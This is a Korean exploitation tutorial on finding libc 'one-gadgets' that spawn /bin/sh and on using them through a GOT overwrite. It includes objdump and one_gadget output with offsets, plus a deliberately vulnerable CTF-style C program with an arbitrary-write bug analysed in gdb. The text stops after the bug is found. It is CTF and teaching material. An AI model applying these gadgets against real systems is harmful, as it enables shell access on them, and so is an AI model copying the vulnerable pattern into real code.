10.One-gadgets(feat. PLT/GOT overwrite)

List

One-gadget(feat. PLT/GOT overwrite)

- **One Gadget이란 해당 Gadget 하나만을 이용하여 Shell을 획들 할 수 있는 Gadget입니다.**
    - One Gadget은 라이브러리 파일 내에서 "/bin/sh"를 실행하는 Gadget입니다.
    - One Gadget을 사용하기 위해서 일부 조건이 만족해야 되는 경우도 있습니다.
- **이러한 One Gadget은 CTF에서 Got 영역을 덮어쓸 수 있을 경우 많이 사용됩니다.**

One-gadgets of libc(/lib/x86_64-linux-gnu/libc-2.23.so)

- **다음과 같은 코드들이 One Gadgets으로 사용될 수 있습니다.**
    - libc 라이브러리의 do_system() 함수 내에서 __execve() 함수를 이용하여 shell을 호출합니다.

https://code.woboq.org/userspace/glibc/sysdeps/posix/system.c.html#137

```
...
#endif
  if (pid == (pid_t) 0)
    {
      /* Child side.  */
      const char *new_argv[4];
      new_argv[0] = SHELL_NAME;
      new_argv[1] = "-c";
      new_argv[2] = line;
      new_argv[3] = NULL;

      /* Restore the signals.  */
      (void) __sigaction (SIGINT, &intr, (struct sigaction *) NULL);
      (void) __sigaction (SIGQUIT, &quit, (struct sigaction *) NULL);
      (void) __sigprocmask (SIG_SETMASK, &omask, (sigset_t *) NULL);
      INIT_LOCK ();

      /* Exec the shell.  */
      (void) __execve (SHELL_PATH, (char *const *) new_argv, __environ);
      _exit (127);
    }
  else if (pid < (pid_t) 0)
    /* The fork failed.  */
    status = -1;
  else
...
```

- 다음 코드는 libc 라이브러리의 exec_comm_child() 함수 내에서 __execve() 함수를 이용하여 shell을 호출합니다.
    - 이 외에도 다양한 곳에서 One Gadget을 찾을 수 있습니다.

https://code.woboq.org/userspace/glibc/posix/wordexp.c.html#853

```
/* Function called by child process in exec_comm() */
static inline void
__attribute__ ((always_inline))
exec_comm_child (char *comm, int *fildes, int showerr, int noexec)
{
  const char *args[4] = { _PATH_BSHELL, "-c", comm, NULL };

  /* Execute the command, or just check syntax? */
  if (noexec)
    args[1] = "-nc";

...

  __close (fildes[0]);
  __execve (_PATH_BSHELL, (char *const *) args, __environ);

  /* Bad.  What now?  */
  abort ();
}
```

Find One Gadgets - strings, objdump

- **One gadgets은 다음과 같은 방법으로 찾을 수 있습니다.**
    - 우선 strings 를 이용하여 라이브러리 파일에서 "/bin/sh" 문자열이 위치한 Offset address를 찾습니다.

strings

```
lazenca0x0@ubuntu:~/Exploit/OneGadgets$ strings -tx /lib/x86_64-linux-gnu/libc-2.23.so |grep /bin/sh
 18cd57 /bin/sh
lazenca0x0@ubuntu:~/Exploit/OneGadgets$
```

- **objdump 를 이용하여 라이브러리 파일에서 "/bin/sh" Offset address를 사용하는 곳을 찾습니다.**
- **다음과 같이 많은 코드들이 출력되며, 해당 코드를 보고 실제로 사용 가능한 코드를 찾아야 합니다.**
  - 사용가능한 코드를 찾을 때 중요한 부분은 바로 "/bin/sh"를 실행하는 함수에 전달되는 인자 값 정보 입니다.
- **예를 들면 45294 영역에 execve() 함수를 사용하기 위해서는 다음과 같은 조건이 필요합니다.**
  - 45271 영역에서 첫번째 인자 값으로 RDI 레지스터에 "/bin/sh" Offset address를 저장합니다.
  - 45278 영역에서 두번째 인가 값으로 RSI 레지스터에 [rsp+0x30]영역의 값을 저장합니다.
  - 즉, 해당 One gadget을 사용하기 위해서는 [rsp+0x30]영역의 값 Null(0)이어야만 합니다.

objdump

```
lazenca0x0@ubuntu:~/Exploit/OneGadgets$ objdump -M intel -d /lib/x86_64-linux-gnu/libc-2.23.so |grep -C8 18cd57
   4524f:        31 d2                        xor    edx,edx
   45251:        bf 03 00 00 00               mov    edi,0x3
   45256:        e8 95 04 ff ff               call   356f0 <__sigaction@@GLIBC_2.2.5>
   4525b:        31 d2                        xor    edx,edx
   4525d:        4c 89 e6                     mov    rsi,r12
   45260:        bf 02 00 00 00               mov    edi,0x2
   45265:        e8 b6 04 ff ff               call   35720 <sigprocmask@@GLIBC_2.2.5>
   4526a:        48 8b 05 47 ec 37 00         mov    rax,QWORD PTR [rip+0x37ec47]        # 3c3eb8
<_IO_file_jumps@@GLIBC_2.2.5+0x7d8>
   45271:        48 8d 3d df 7a 14 00         lea    rdi,[rip+0x147adf]        # 18cd57
<_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   45278:        48 8d 74 24 30               lea    rsi,[rsp+0x30]
   4527d:        c7 05 19 12 38 00 00         mov    DWORD PTR [rip+0x381219],0x0        # 3c64a0
<__abort_msg@@GLIBC_PRIVATE+0x8c0>
   45284:        00 00 00
   45287:        c7 05 13 12 38 00 00         mov    DWORD PTR [rip+0x381213],0x0        # 3c64a4
<__abort_msg@@GLIBC_PRIVATE+0x8c4>
   4528e:        00 00 00
   45291:        48 8b 10                     mov    rdx,QWORD PTR [rax]
   45294:        e8 d7 74 08 00               call   cc770 <execve@@GLIBC_2.2.5>
   45299:        bf 7f 00 00 00               mov    edi,0x7f
--
   6f58c:        74 0c                        je     6f59a <_IO_proc_open@@GLIBC_2.2.5+0x2fa>
   6f58e:        89 f0                        mov    eax,esi
   6f590:        0f 05                        syscall
   6f592:        48 3d 00 f0 ff ff            cmp    rax,0xfffffffffffff000
   6f598:        77 4a                        ja     6f5e4 <_IO_proc_open@@GLIBC_2.2.5+0x344>
   6f59a:        48 8b 92 e8 00 00 00         mov    rdx,QWORD PTR [rdx+0xe8]
   6f5a1:        48 85 d2                     test   rdx,rdx
   6f5a4:        75 e0                        jne    6f586 <_IO_proc_open@@GLIBC_2.2.5+0x2e6>
   6f5a6:        48 8d 3d aa d7 11 00         lea    rdi,[rip+0x11d7aa]        # 18cd57
<_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   6f5ad:        48 8d 15 a0 d7 11 00         lea    rdx,[rip+0x11d7a0]        # 18cd54
<_libc_intl_domainname@@GLIBC_2.2.5+0x194>
   6f5b4:        48 8d 35 a1 d7 11 00         lea    rsi,[rip+0x11d7a1]        # 18cd5c
<_libc_intl_domainname@@GLIBC_2.2.5+0x19c>
   6f5bb:        45 31 c0                     xor    r8d,r8d
   6f5be:        4c 89 e1                     mov    rcx,r12
   6f5c1:        31 c0                        xor    eax,eax
   6f5c3:        e8 58 d4 05 00               call   cca20 <execl@@GLIBC_2.2.5>
   6f5c8:        bf 7f 00 00 00               mov    edi,0x7f
   6f5cd:        e8 3e d1 05 00               call   cc710 <_exit@@GLIBC_2.2.5>
--
   cce0d:        49 81 fd 00 10 00 00         cmp    r13,0x1000
   cce14:        0f 87 ad 02 00 00            ja     cd0c7 <execvpe@@GLIBC_2.11+0x367>
   cce1a:        49 83 c5 1e                  add    r13,0x1e
   cce1e:        49 83 e5 f0                  and    r13,0xfffffffffffffff0
   cce22:        4c 29 ec                     sub    rsp,r13
   cce25:        45 31 ed                     xor    r13d,r13d
   cce28:        48 8d 4c 24 0f               lea    rcx,[rsp+0xf]
   cce2d:        48 83 e1 f0                  and    rcx,0xfffffffffffffff0
```

```
   cce31:       48 8d 05 1f ff 0b 00        lea    rax,[rip+0xbff1f]        # 18cd57
<_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   cce38:       41 83 ff 01                 cmp    r15d,0x1
   cce3c:       4c 89 71 08                 mov    QWORD PTR [rcx+0x8],r14
   cce40:       48 89 01                    mov    QWORD PTR [rcx],rax
   cce43:       0f 84 aa 02 00 00           je     cd0f3 <execvpe@@GLIBC_2.11+0x393>
   cce49:       41 8d 47 fe                 lea    eax,[r15-0x2]
   cce4d:       4d 63 ff                    movsxd r15,r15d
   cce50:       48 89 4d c8                 mov    QWORD PTR [rbp-0x38],rcx
   cce54:       4a 8d 34 fd 00 00 00        lea    rsi,[r15*8+0x0]
--
   cd053:       48 81 ff 00 10 00 00        cmp    rdi,0x1000
   cd05a:       0f 87 35 01 00 00           ja     cd195 <execvpe@@GLIBC_2.11+0x435>
   cd060:       49 83 c5 1e                 add    r13,0x1e
   cd064:       49 83 e5 f0                 and    r13,0xfffffffffffffff0
   cd068:       4c 29 ec                    sub    rsp,r13
   cd06b:       48 8d 44 24 0f              lea    rax,[rsp+0xf]
   cd070:       48 83 e0 f0                 and    rax,0xfffffffffffffff0
   cd074:       48 89 45 c0                 mov    QWORD PTR [rbp-0x40],rax
   cd078:       48 8d 0d d8 fc 0b 00        lea    rcx,[rip+0xbfcd8]        # 18cd57
<_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   cd07f:       83 fe 01                    cmp    esi,0x1
   cd082:       4c 89 78 08                 mov    QWORD PTR [rax+0x8],r15
   cd086:       48 89 08                    mov    QWORD PTR [rax],rcx
   cd089:       48 89 c1                    mov    rcx,rax
   cd08c:       0f 84 36 01 00 00           je     cd1c8 <execvpe@@GLIBC_2.11+0x468>
   cd092:       8d 46 fe                    lea    eax,[rsi-0x2]
   cd095:       49 89 cf                    mov    r15,rcx
   cd098:       48 8d 14 c5 08 00 00        lea    rdx,[rax*8+0x8]
--
   cd0d1:       0f 85 43 fd ff ff           jne    cce1a <execvpe@@GLIBC_2.11+0xba>
   cd0d7:       4c 89 ef                    mov    rdi,r13
   cd0da:       e8 c1 27 f5 ff              call   1f8a0 <*ABS*+0x8fa00@plt+0x10>
   cd0df:       48 85 c0                    test   rax,rax
   cd0e2:       49 89 c5                    mov    r13,rax
   cd0e5:       48 89 c1                    mov    rcx,rax
   cd0e8:       0f 85 43 fd ff ff           jne    cce31 <execvpe@@GLIBC_2.11+0xd1>
   cd0ee:       e9 ba fc ff ff              jmp    ccdad <execvpe@@GLIBC_2.11+0x4d>
   cd0f3:       48 8d 3d 5d fc 0b 00        lea    rdi,[rip+0xbfc5d]        # 18cd57
<_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   cd0fa:       e9 81 fd ff ff              jmp    cce80 <execvpe@@GLIBC_2.11+0x120>
   cd0ff:       48 89 c7                    mov    rdi,rax
   cd102:       48 89 55 c0                 mov    QWORD PTR [rbp-0x40],rdx
   cd106:       4c 89 45 c8                 mov    QWORD PTR [rbp-0x38],r8
   cd10a:       e8 61 79 04 00              call   114a70 <__libc_alloca_cutoff@@GLIBC_PRIVATE>
   cd10f:       85 c0                       test   eax,eax
   cd111:       4c 8b 45 c8                 mov    r8,QWORD PTR [rbp-0x38]
   cd115:       48 8b 55 c0                 mov    rdx,QWORD PTR [rbp-0x40]
--
   cd1ab:       89 75 b0                    mov    DWORD PTR [rbp-0x50],esi
   cd1ae:       e8 ed 26 f5 ff              call   1f8a0 <*ABS*+0x8fa00@plt+0x10>
   cd1b3:       48 85 c0                    test   rax,rax
   cd1b6:       48 89 45 c0                 mov    QWORD PTR [rbp-0x40],rax
   cd1ba:       74 1b                       je     cd1d7 <execvpe@@GLIBC_2.11+0x477>
   cd1bc:       48 89 45 a0                 mov    QWORD PTR [rbp-0x60],rax
   cd1c0:       8b 75 b0                    mov    esi,DWORD PTR [rbp-0x50]
   cd1c3:       e9 b0 fe ff ff              jmp    cd078 <execvpe@@GLIBC_2.11+0x318>
   cd1c8:       48 8d 3d 88 fb 0b 00        lea    rdi,[rip+0xbfb88]        # 18cd57
<_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   cd1cf:       48 89 c6                    mov    rsi,rax
   cd1d2:       e9 38 fe ff ff              jmp    cd00f <execvpe@@GLIBC_2.11+0x2af>
   cd1d7:       48 c7 45 a0 00 00 00        mov    QWORD PTR [rbp-0x60],0x0
   cd1de:       00
   cd1df:       e9 f0 fd ff ff              jmp    ccfd4 <execvpe@@GLIBC_2.11+0x274>
   cd1e4:       66 2e 0f 1f 84 00 00        nop    WORD PTR cs:[rax+rax*1+0x0]
   cd1eb:       00 00 00
   cd1ee:       66 90                       xchg   ax,ax
--
   f018f:       e9 c9 fc ff ff              jmp    efe5d <gai_strerror@@GLIBC_2.2.5+0x52d>
   f0194:       85 ed                       test   ebp,ebp
   f0196:       0f 85 28 01 00 00           jne    f02c4 <gai_strerror@@GLIBC_2.2.5+0x994>
```

```
   f019c:       8b 44 24 2c                 mov    eax,DWORD PTR [rsp+0x2c]
   f01a0:       48 c7 44 24 68 00 00        mov    QWORD PTR [rsp+0x68],0x0
   f01a7:       00 00
   f01a9:       83 e0 10                    and    eax,0x10
   f01ac:       89 44 24 28                 mov    DWORD PTR [rsp+0x28],eax
   f01b0:       48 8d 05 a0 cb 09 00        lea    rax,[rip+0x9cba0]        # 18cd57
<_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f01b7:       48 89 44 24 50              mov    QWORD PTR [rsp+0x50],rax
   f01bc:       48 8d 05 91 cb 09 00        lea    rax,[rip+0x9cb91]        # 18cd54
<_libc_intl_domainname@@GLIBC_2.2.5+0x194>
   f01c3:       48 89 44 24 58              mov    QWORD PTR [rsp+0x58],rax
   f01c8:       48 8b 44 24 20              mov    rax,QWORD PTR [rsp+0x20]
   f01cd:       48 89 44 24 60              mov    QWORD PTR [rsp+0x60],rax
   f01d2:       8b 7c 24 44                 mov    edi,DWORD PTR [rsp+0x44]
   f01d6:       83 ff 01                    cmp    edi,0x1
   f01d9:       0f 84 32 01 00 00           je     f0311 <gai_strerror@@GLIBC_2.2.5+0x9e1>
--
   f0289:       00
   f028a:       e9 ce fb ff ff              jmp    efe5d <gai_strerror@@GLIBC_2.2.5+0x52d>
   f028f:       48 8d 3d f1 e3 09 00        lea    rdi,[rip+0x9e3f1]        # 18e687
<_libc_intl_domainname@@GLIBC_2.2.5+0x1ac7>
   f0296:       e8 65 9a f4 ff              call   39d00 <unsetenv@@GLIBC_2.2.5>
   f029b:       8b 7c 24 40                 mov    edi,DWORD PTR [rsp+0x40]
   f029f:       e8 3c 76 00 00              call   f78e0 <__close@@GLIBC_2.2.5>
   f02a4:       48 8b 05 0d 3c 2d 00        mov    rax,QWORD PTR [rip+0x2d3c0d]        # 3c3eb8
<_IO_file_jumps@@GLIBC_2.2.5+0x7d8>
   f02ab:       48 8d 74 24 50              lea    rsi,[rsp+0x50]
   f02b0:       48 8d 3d a0 ca 09 00        lea    rdi,[rip+0x9caa0]        # 18cd57
<_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f02b7:       48 8b 10                    mov    rdx,QWORD PTR [rax]
   f02ba:       e8 b1 c4 fd ff              call   cc770 <execve@@GLIBC_2.2.5>
   f02bf:       e8 fc 6b f4 ff              call   36ec0 <abort@@GLIBC_2.2.5>
   f02c4:       48 8d 05 8c ca 09 00        lea    rax,[rip+0x9ca8c]        # 18cd57
<_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f02cb:       48 c7 44 24 68 00 00        mov    QWORD PTR [rsp+0x68],0x0
   f02d2:       00 00
   f02d4:       48 89 44 24 50              mov    QWORD PTR [rsp+0x50],rax
   f02d9:       48 8b 44 24 20              mov    rax,QWORD PTR [rsp+0x20]
   f02de:       48 89 44 24 60              mov    QWORD PTR [rsp+0x60],rax
   f02e3:       48 8d 05 a1 e3 09 00        lea    rax,[rip+0x9e3a1]        # 18e68b
<_libc_intl_domainname@@GLIBC_2.2.5+0x1acb>
   f02ea:       48 89 44 24 58              mov    QWORD PTR [rsp+0x58],rax
   f02ef:       e9 de fe ff ff              jmp    f01d2 <gai_strerror@@GLIBC_2.2.5+0x8a2>
--
   f0fa8:       e9 f0 f8 ff ff              jmp    f089d <gai_strerror@@GLIBC_2.2.5+0xf6d>
   f0fad:       85 db                       test   ebx,ebx
   f0faf:       0f 85 47 01 00 00           jne    f10fc <gai_strerror@@GLIBC_2.2.5+0x17cc>
   f0fb5:       8b 44 24 4c                 mov    eax,DWORD PTR [rsp+0x4c]
   f0fb9:       48 c7 84 24 88 00 00        mov    QWORD PTR [rsp+0x88],0x0
   f0fc0:       00 00 00 00 00
   f0fc5:       83 e0 10                    and    eax,0x10
   f0fc8:       89 44 24 2c                 mov    DWORD PTR [rsp+0x2c],eax
   f0fcc:       48 8d 05 84 bd 09 00        lea    rax,[rip+0x9bd84]        # 18cd57
<_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f0fd3:       48 89 44 24 70              mov    QWORD PTR [rsp+0x70],rax
   f0fd8:       48 8d 05 75 bd 09 00        lea    rax,[rip+0x9bd75]        # 18cd54
<_libc_intl_domainname@@GLIBC_2.2.5+0x194>
   f0fdf:       48 89 44 24 78              mov    QWORD PTR [rsp+0x78],rax
   f0fe4:       48 8b 44 24 40              mov    rax,QWORD PTR [rsp+0x40]
   f0fe9:       48 89 84 24 80 00 00        mov    QWORD PTR [rsp+0x80],rax
   f0ff0:       00
   f0ff1:       8b 7c 24 64                 mov    edi,DWORD PTR [rsp+0x64]
   f0ff5:       83 ff 01                    cmp    edi,0x1
--
   f10da:       48 39 d0                    cmp    rax,rdx
   f10dd:       0f 85 ba f7 ff ff           jne    f089d <gai_strerror@@GLIBC_2.2.5+0xf6d>
   f10e3:       8b 54 24 5c                 mov    edx,DWORD PTR [rsp+0x5c]
   f10e7:       b8 05 00 00 00              mov    eax,0x5
   f10ec:       85 d2                       test   edx,edx
   f10ee:       0f 44 44 24 2c              cmove  eax,DWORD PTR [rsp+0x2c]
   f10f3:       89 44 24 2c                 mov    DWORD PTR [rsp+0x2c],eax
```

```
   f10f7:        e9 a1 f7 ff ff              jmp    f089d <gai_strerror@@GLIBC_2.2.5+0xf6d>
   f10fc:        48 8d 05 54 bc 09 00        lea    rax,[rip+0x9bc54]        # 18cd57
<_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f1103:        48 c7 84 24 88 00 00        mov    QWORD PTR [rsp+0x88],0x0
   f110a:        00 00 00 00
   f110f:        48 89 44 24 70              mov    QWORD PTR [rsp+0x70],rax
   f1114:        48 8b 44 24 40              mov    rax,QWORD PTR [rsp+0x40]
   f1119:        48 89 84 24 80 00 00        mov    QWORD PTR [rsp+0x80],rax
   f1120:        00
   f1121:        48 8d 05 63 d5 09 00        lea    rax,[rip+0x9d563]        # 18e68b
<_libc_intl_domainname@@GLIBC_2.2.5+0x1acb>
   f1128:        48 89 44 24 78              mov    QWORD PTR [rsp+0x78],rax
   f112d:        e9 bf fe ff ff              jmp    f0ff1 <gai_strerror@@GLIBC_2.2.5+0x16c1>
   f1132:        48 8d 3d 4e d5 09 00        lea    rdi,[rip+0x9d54e]        # 18e687
<_libc_intl_domainname@@GLIBC_2.2.5+0x1ac7>
   f1139:        e8 c2 8b f4 ff              call   39d00 <unsetenv@@GLIBC_2.2.5>
   f113e:        8b 7c 24 60                 mov    edi,DWORD PTR [rsp+0x60]
   f1142:        e8 99 67 00 00              call   f78e0 <__close@@GLIBC_2.2.5>
   f1147:        48 8b 05 6a 2d 2d 00        mov    rax,QWORD PTR [rip+0x2d2d6a]        # 3c3eb8
<_IO_file_jumps@@GLIBC_2.2.5+0x7d8>
   f114e:        48 8d 74 24 70              lea    rsi,[rsp+0x70]
   f1153:        48 8d 3d fd bb 09 00        lea    rdi,[rip+0x9bbfd]        # 18cd57
<_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f115a:        48 8b 10                    mov    rdx,QWORD PTR [rax]
   f115d:        e8 0e b6 fd ff              call   cc770 <execve@@GLIBC_2.2.5>
   f1162:        e8 59 5d f4 ff              call   36ec0 <abort@@GLIBC_2.2.5>
   f1167:        49 8b 3f                    mov    rdi,QWORD PTR [r15]
   f116a:        48 89 4c 24 10              mov    QWORD PTR [rsp+0x10],rcx
   f116f:        e8 34 e7 f2 ff              call   1f8a8 <*ABS*+0x8fa00@plt+0x18>
   f1174:        48 8b 44 24 18              mov    rax,QWORD PTR [rsp+0x18]
   f1179:        48 c7 00 00 00 00 00        mov    QWORD PTR [rax],0x0
--
   f625e:        eb 02                       jmp    f6262 <posix_spawnp@@GLIBC_2.15+0x2d2>
   f6260:        89 ca                       mov    edx,ecx
   f6262:        48 83 c0 08                 add    rax,0x8
   f6266:        8d 4a 01                    lea    ecx,[rdx+0x1]
   f6269:        48 83 78 f8 00              cmp    QWORD PTR [rax-0x8],0x0
   f626e:        75 f0                       jne    f6260 <posix_spawnp@@GLIBC_2.15+0x2d0>
   f6270:        8d 42 02                    lea    eax,[rdx+0x2]
   f6273:        48 89 e3                    mov    rbx,rsp
   f6276:        48 8d 3d da 6a 09 00        lea    rdi,[rip+0x96ada]        # 18cd57
<_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f627d:        48 98                       cdqe
   f627f:        48 8d 04 c5 16 00 00        lea    rax,[rax*8+0x16]
   f6286:        00
   f6287:        48 83 e0 f0                 and    rax,0xfffffffffffffff0
   f628b:        48 29 c4                    sub    rsp,rax
   f628e:        48 8b 85 e0 fe ff ff        mov    rax,QWORD PTR [rbp-0x120]
   f6295:        4c 8d 64 24 07              lea    r12,[rsp+0x7]
   f629a:        49 c1 ec 03                 shr    r12,0x3
--
   f6626:        75 f0                       jne    f6618 <posix_spawnp@@GLIBC_2.15+0x688>
   f6628:        8d 42 02                    lea    eax,[rdx+0x2]
   f662b:        48 89 a5 f0 fe ff ff        mov    QWORD PTR [rbp-0x110],rsp
   f6632:        48 98                       cdqe
   f6634:        48 8d 04 c5 16 00 00        lea    rax,[rax*8+0x16]
   f663b:        00
   f663c:        48 83 e0 f0                 and    rax,0xfffffffffffffff0
   f6640:        48 29 c4                    sub    rsp,rax
   f6643:        48 8d 05 0d 67 09 00        lea    rax,[rip+0x9670d]        # 18cd57
<_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f664a:        4c 8d 44 24 07              lea    r8,[rsp+0x7]
   f664f:        4c 89 c3                    mov    rbx,r8
   f6652:        48 c1 eb 03                 shr    rbx,0x3
   f6656:        83 fe 01                    cmp    esi,0x1
   f6659:        48 8d 0c dd 00 00 00        lea    rcx,[rbx*8+0x0]
   f6660:        00
   f6661:        48 89 04 dd 00 00 00        mov    QWORD PTR [rbx*8+0x0],rax
   f6668:        00
--
   f66cb:        48 8b a5 f0 fe ff ff        mov    rsp,QWORD PTR [rbp-0x110]
```

```
   f66d2:        64 8b 00                    mov    eax,DWORD PTR fs:[rax]
   f66d5:        e9 a6 fe ff ff              jmp    f6580 <posix_spawnp@@GLIBC_2.15+0x5f0>
   f66da:        66 0f 1f 44 00 00           nop    WORD PTR [rax+rax*1+0x0]
   f66e0:        83 f8 02                    cmp    eax,0x2
   f66e3:        0f 84 b0 fe ff ff           je     f6599 <posix_spawnp@@GLIBC_2.15+0x609>
   f66e9:        e9 92 fa ff ff              jmp    f6180 <posix_spawnp@@GLIBC_2.15+0x1f0>
   f66ee:        66 90                       xchg   ax,ax
   f66f0:        48 8d 3d 60 66 09 00        lea    rdi,[rip+0x96660]        # 18cd57
<_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f66f7:        eb bc                       jmp    f66b5 <posix_spawnp@@GLIBC_2.15+0x725>
   f66f9:        31 d2                       xor    edx,edx
   f66fb:        31 f6                       xor    esi,esi
   f66fd:        31 ff                       xor    edi,edi
   f66ff:        e8 dc 21 ff ff              call   e88e0 <confstr@@GLIBC_2.2.5>
   f6704:        48 8d 48 1f                 lea    rcx,[rax+0x1f]
   f6708:        48 89 c2                    mov    rdx,rax
   f670b:        31 ff                       xor    edi,edi
--
   ff890:        74 14                       je     ff8a6 <endttyent@@GLIBC_2.2.5+0xc6>
   ff892:        4c 8b 6c 24 30              mov    r13,QWORD PTR [rsp+0x30]
   ff897:        48 b8 fd ff ff ff ff        movabs rax,0x5fffffffffffffd
   ff89e:        ff ff 5f
   ff8a1:        49 39 c5                    cmp    r13,rax
   ff8a4:        76 3a                       jbe    ff8e0 <endttyent@@GLIBC_2.2.5+0x100>
   ff8a6:        48 89 ef                    mov    rdi,rbp
   ff8a9:        e8 b2 d9 f6 ff              call   6d260 <_IO_fclose@@GLIBC_2.2.5>
   ff8ae:        48 8d 05 a2 d4 08 00        lea    rax,[rip+0x8d4a2]        # 18cd57
<_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   ff8b5:        48 89 05 44 78 2c 00        mov    QWORD PTR [rip+0x2c7844],rax        # 3c7100
<__curbrk@@GLIBC_2.2.5+0x1a8>
   ff8bc:        48 8d 05 1f f0 08 00        lea    rax,[rip+0x8f01f]        # 18e8e2
<_libc_intl_domainname@@GLIBC_2.2.5+0x1d22>
   ff8c3:        48 89 05 3e 78 2c 00        mov    QWORD PTR [rip+0x2c783e],rax        # 3c7108
<__curbrk@@GLIBC_2.2.5+0x1b0>
   ff8ca:        48 81 c4 98 00 00 00        add    rsp,0x98
   ff8d1:        48 8d 05 28 78 2c 00        lea    rax,[rip+0x2c7828]        # 3c7100 <__curbrk@@GLIBC_2.2.5
+0x1a8>
   ff8d8:        5b                          pop    rbx
   ff8d9:        5d                          pop    rbp
   ff8da:        41 5c                       pop    r12
lazenca0x0@ubuntu:~/Exploit/OneGadgets$
```

Find One Gadgets - one_gadget

- **다음과 같은 스크립트를 사용할 수 있습니다.**
  - 해당 스크립트를 사용하기 위해 ruby 2.1.0 또는 이상의 버전이 필요합니다.

Install

```
$ gem install one_gadget
```

- **다음과 같이 전달된 파일에서 One Gadget과 조건을 찾아 줍니다.**
  - 해당 스크립트는 execve() 함수만을 찾고 있기 때문에 objdump의 결과보다 갯수가 작습니다.

run one_gadget

```
lazenca0x0@ubuntu:~/Exploit/OneGadgets$ one_gadget /lib/x86_64-linux-gnu/libc-2.23.so
0x45216        execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a        execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4        execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147        execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
lazenca0x0@ubuntu:~/Exploit/OneGadgets$
```

Proof of concept

Example code

- 다음 코드는 DEFCON 2018 - babypwn1805 문제를 변형하였습니다.
    - read() 함수를 이용하여 3번의 입력을 받습니다.
    - 첫번째 입력 값은 index 영역에 저장됩니다.
    - 두번째 입력 값은 asdf+index 영역에 저장됩니다.
        - asdf 전역 변수의 주소 값 + index에 저장된 값
        - index 변수의 type이 "long long" 이기 때문에 음수까지 저장이 가능합니다.
        - 즉, 공격가자 첫번째 입력에서 음수 값을 index에 저장하면 두번째 입력값을 원하는 영역에 저장할 수 있습니다.

baby.c

```
//gcc -fno-stack-protector -o baby baby.c -ldl
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <dlfcn.h>

char asdf[1024];

int main()
{
    long long index = 0;

    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);

    read(0, &index, 1024);
    read(0, asdf+index, 8);
    read(0, &index, 1024);
}
```

Find vulnerability

- 다음과 같이 Break points를 설정합니다.
    - 0x4006c2 : 첫번재 read() 함수 호출
    - 0x4006de : 두번재 read() 함수 호출
    - 0x4006f4 : 세번재 read() 함수 호출

Break points

```
lazenca0x0@ubuntu:~/Exploit/OneGadgets$ gdb -q ./baby
Reading symbols from ./baby...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000000000400676 <+0>:     push   rbp
   0x0000000000400677 <+1>:     mov    rbp,rsp
   0x000000000040067a <+4>:     sub    rsp,0x10
   0x000000000040067e <+8>:     mov    QWORD PTR [rbp-0x10],0x0
   0x0000000000400686 <+16>:     mov    esi,0x400784
   0x000000000040068b <+21>:     mov    rdi,0xffffffffffffffff
   0x0000000000400692 <+28>:     call   0x400560 <dlsym@plt>
   0x0000000000400697 <+33>:     mov    QWORD PTR [rbp-0x8],rax
   0x000000000040069b <+37>:     mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040069f <+41>:     mov    rsi,rax
   0x00000000004006a2 <+44>:     mov    edi,0x40078b
   0x00000000004006a7 <+49>:     mov    eax,0x0
   0x00000000004006ac <+54>:     call   0x400530 <printf@plt>
   0x00000000004006b1 <+59>:     lea    rax,[rbp-0x10]
   0x00000000004006b5 <+63>:     mov    edx,0x400
   0x00000000004006ba <+68>:     mov    rsi,rax
   0x00000000004006bd <+71>:     mov    edi,0x0
   0x00000000004006c2 <+76>:     call   0x400540 <read@plt>
   0x00000000004006c7 <+81>:     mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004006cb <+85>:     add    rax,0x601080
   0x00000000004006d1 <+91>:     mov    edx,0x8
   0x00000000004006d6 <+96>:     mov    rsi,rax
   0x00000000004006d9 <+99>:     mov    edi,0x0
   0x00000000004006de <+104>:     call   0x400540 <read@plt>
   0x00000000004006e3 <+109>:     lea    rax,[rbp-0x10]
   0x00000000004006e7 <+113>:     mov    edx,0x400
   0x00000000004006ec <+118>:     mov    rsi,rax
   0x00000000004006ef <+121>:     mov    edi,0x0
   0x00000000004006f4 <+126>:     call   0x400540 <read@plt>
   0x00000000004006f9 <+131>:     mov    eax,0x0
   0x00000000004006fe <+136>:     leave
   0x00000000004006ff <+137>:     ret
End of assembler dump.
gdb-peda$ b *0x00000000004006c2
Breakpoint 1 at 0x4006c2
gdb-peda$ b *0x00000000004006de
Breakpoint 2 at 0x4006de
gdb-peda$ b *0x00000000004006f4
Breakpoint 3 at 0x4006f4
gdb-peda$
```

- **다음과 같이 취약성을 확인 할 수 있습니다.**
  - 첫번째 입력 값으로 "AAAAAAAAAAAAAAAA"를 입력합니다.
  - 두번째 read() 함수에서 값을 저장할 영역을 계산하기 위해 다음과 같은 연산이 진행됩니다.
    - rax(0x4141414141414141) += 0x601080(asdf 전역 변수 주소) = 0x4141414141a151c1
    - 첫번째 입력 값으로 0xffffffffffffffff 이 입력되면, 두번째 입력값을 저장할 주소는 0x60107f 입니다.
    - 이러한 취약성을 이용하여 공격가는 read() 함수의 got 영역에 값을 변경할 수 있습니다.
